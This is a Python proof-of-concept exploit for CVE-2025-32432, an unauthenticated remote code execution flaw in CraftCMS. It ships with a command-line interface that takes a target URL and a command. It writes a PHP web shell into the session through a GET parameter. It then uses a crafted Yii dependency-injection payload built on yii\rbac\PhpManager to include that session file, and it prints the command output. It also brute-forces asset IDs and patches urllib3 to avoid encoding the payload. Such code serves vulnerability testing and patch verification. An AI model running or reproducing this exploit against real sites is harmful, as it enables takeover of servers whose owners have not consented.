#!/usr/bin/env python3
"""
CVE-2025-32432 Two-Packet Chain PoC

This script exploits the unauthenticated RCE vulnerability in CraftCMS by:
1. Injecting PHP code into the session file via a GET request
2. Triggering code execution by abusing yii\\rbac\\PhpManager to include the session file

usage: poc.py [-h] -u URL -c CMD [--need-asset-id] [-a ASSET_ID] [-s SCAN_MAX]

CVE-2025-32432 - CraftCMS Unauthenticated RCE PoC

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     Target URL (e.g., http://target:8088)
  -c CMD, --cmd CMD     Command to execute
  --need-asset-id       Need specify assetId manually or scan automatically
  -a ASSET_ID, --asset-id ASSET_ID
                        Known valid assetId (optional)
  -s SCAN_MAX, --scan-max SCAN_MAX
                        Maximum assetId to scan (default: 300)
"""
import re
import sys
import argparse
import urllib.parse
import urllib3
import requests

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


# Patch urllib3 to prevent automatic URL encoding (preserve <?=...?>)
def _raw_request(self, conn, method, url, **kw):
    url = urllib.parse.unquote(url)
    return self._orig_req(conn, method, url, **kw)


urllib3.connectionpool.HTTPConnectionPool._orig_req = \
    urllib3.connectionpool.HTTPConnectionPool._make_request
urllib3.connectionpool.HTTPConnectionPool._make_request = _raw_request


def scan_asset_id(sess: requests.Session, base: str, max_id: int = 300) -> int:
    """Scan for a valid assetId by checking response status codes."""
    api = f"{base}/index.php?p=admin/actions/assets/generate-transform"
    print(f"[*] Scanning for valid assetId (max: {max_id})...")

    for aid in range(1, max_id + 1):
        r = sess.post(
            api,
            json={"assetId": aid, "handle": {"width": 1, "height": 1}},
            verify=False,
            allow_redirects=False,
        )
        if r.status_code in (200, 302):
            print(f"[+] Found valid assetId = {aid}")
            return aid

    raise RuntimeError("[-] No valid assetId found. Try increasing --scan-max or specify manually with --asset-id")


def inject_payload(sess: requests.Session, base: str, php_code: str) -> tuple:
    """
    First packet: Inject PHP code into the session via GET request.
    Returns the CSRF token and Session ID.
    """
    print(f"[*] Injecting PHP payload into session...")
    payload_url = f"{base}/index.php"
    params = {
        "p": "admin/dashboard",
        "cve202532432": php_code  # PHP code passed directly without URL encoding
    }

    r = sess.get(payload_url, params=params, verify=False, allow_redirects=True)
    if r.status_code != 200:
        print(f"[!] Warning: Inject request returned status {r.status_code}")

    # Extract CSRF token from response
    match = re.search(r'name="CRAFT_CSRF_TOKEN" value="([^"]+)', r.text)
    if not match:
        raise RuntimeError("[-] Failed to extract CSRF token from response")
    csrf_token = match.group(1)

    # Get session ID from cookies
    session_id = sess.cookies.get("CraftSessionId")
    if not session_id:
        raise RuntimeError("[-] Failed to get CraftSessionId from cookies")

    print(f"[+] CSRF Token: {csrf_token}")
    print(f"[+] Session ID: {session_id}")
    return csrf_token, session_id


def trigger_rce(sess: requests.Session, base: str, asset_id: int,
                session_id: str, csrf_token: str, cmd: str) -> str:
    """
    Second packet: Trigger RCE by exploiting yii\\rbac\\PhpManager to include the session file.
    """
    print(f"[*] Triggering RCE via PhpManager session inclusion...")
    api = f"{base}/index.php"
    params = {
        "p": "actions/assets/generate-transform",
        "cmd": cmd
    }

    # Construct the malicious payload using Yii's dependency injection
    body = {
        "assetId": asset_id,
        "handle": {
            "width": 1,
            "height": 1,
            "as hack": {
                "class": "craft\\behaviors\\FieldLayoutBehavior",
                "__class": "yii\\rbac\\PhpManager",
                "__construct()": [{
                    "itemFile": f"/tmp/sess_{session_id}"
                }]
            }
        }
    }

    r = sess.post(
        api,
        params=params,
        json=body,
        headers={"X-CSRF-Token": csrf_token},
        verify=False,
    )

    if r.status_code not in (200, 500):
        raise RuntimeError(f"[-] RCE trigger failed with HTTP {r.status_code}")

    return r.text


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2025-32432 - CraftCMS Unauthenticated RCE PoC"
    )
    parser.add_argument(
        "-u", "--url",
        required=True,
        help="Target URL (e.g., http://target:8088)"
    )
    parser.add_argument(
        "-c", "--cmd",
        required=True,
        help="Command to execute"
    )
    parser.add_argument(
        "--need-asset-id",
        action="store_true",
        default=False,
        help="Need specify assetId manually or scan automatically"
    )
    parser.add_argument(
        "-a", "--asset-id",
        type=int,
        help="Known valid assetId (optional)"
    )
    parser.add_argument(
        "-s", "--scan-max",
        type=int,
        default=300,
        help="Maximum assetId to scan (default: 300)"
    )
    args = parser.parse_args()

    sess = requests.Session()
    base = args.url.rstrip("/")
    print(f"[*] Target: {base}")

    asset_id = 0
    if args.need_asset_id:
        asset_id = args.asset_id if args.asset_id is not None else scan_asset_id(sess, base, args.scan_max)

    # Step 2: Inject PHP payload into session
    php_code = r"<?=shell_exec($_GET['cmd']);exit;?>"
    print(f"[+] PHP Payload: {php_code}")
    csrf_token, session_id = inject_payload(sess, base, php_code)

    # Step 3: Trigger RCE
    print(f"[*] Executing command: {args.cmd}")
    output = trigger_rce(sess, base, asset_id, session_id, csrf_token, args.cmd)

    try:
        # Extract and display output
        print(f"[+] Command output:")
        print("-" * 50)
        print(output[output.index('cve202532432=')+13:])
        print("-" * 50)
    except ValueError as e:
        print(f"[!] Error: Unable to extract command output")


if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\n[!] Interrupted by user")
        sys.exit(130)
    except Exception as e:
        print(f"[!] Error: {e}", file=sys.stderr)
        sys.exit(1)
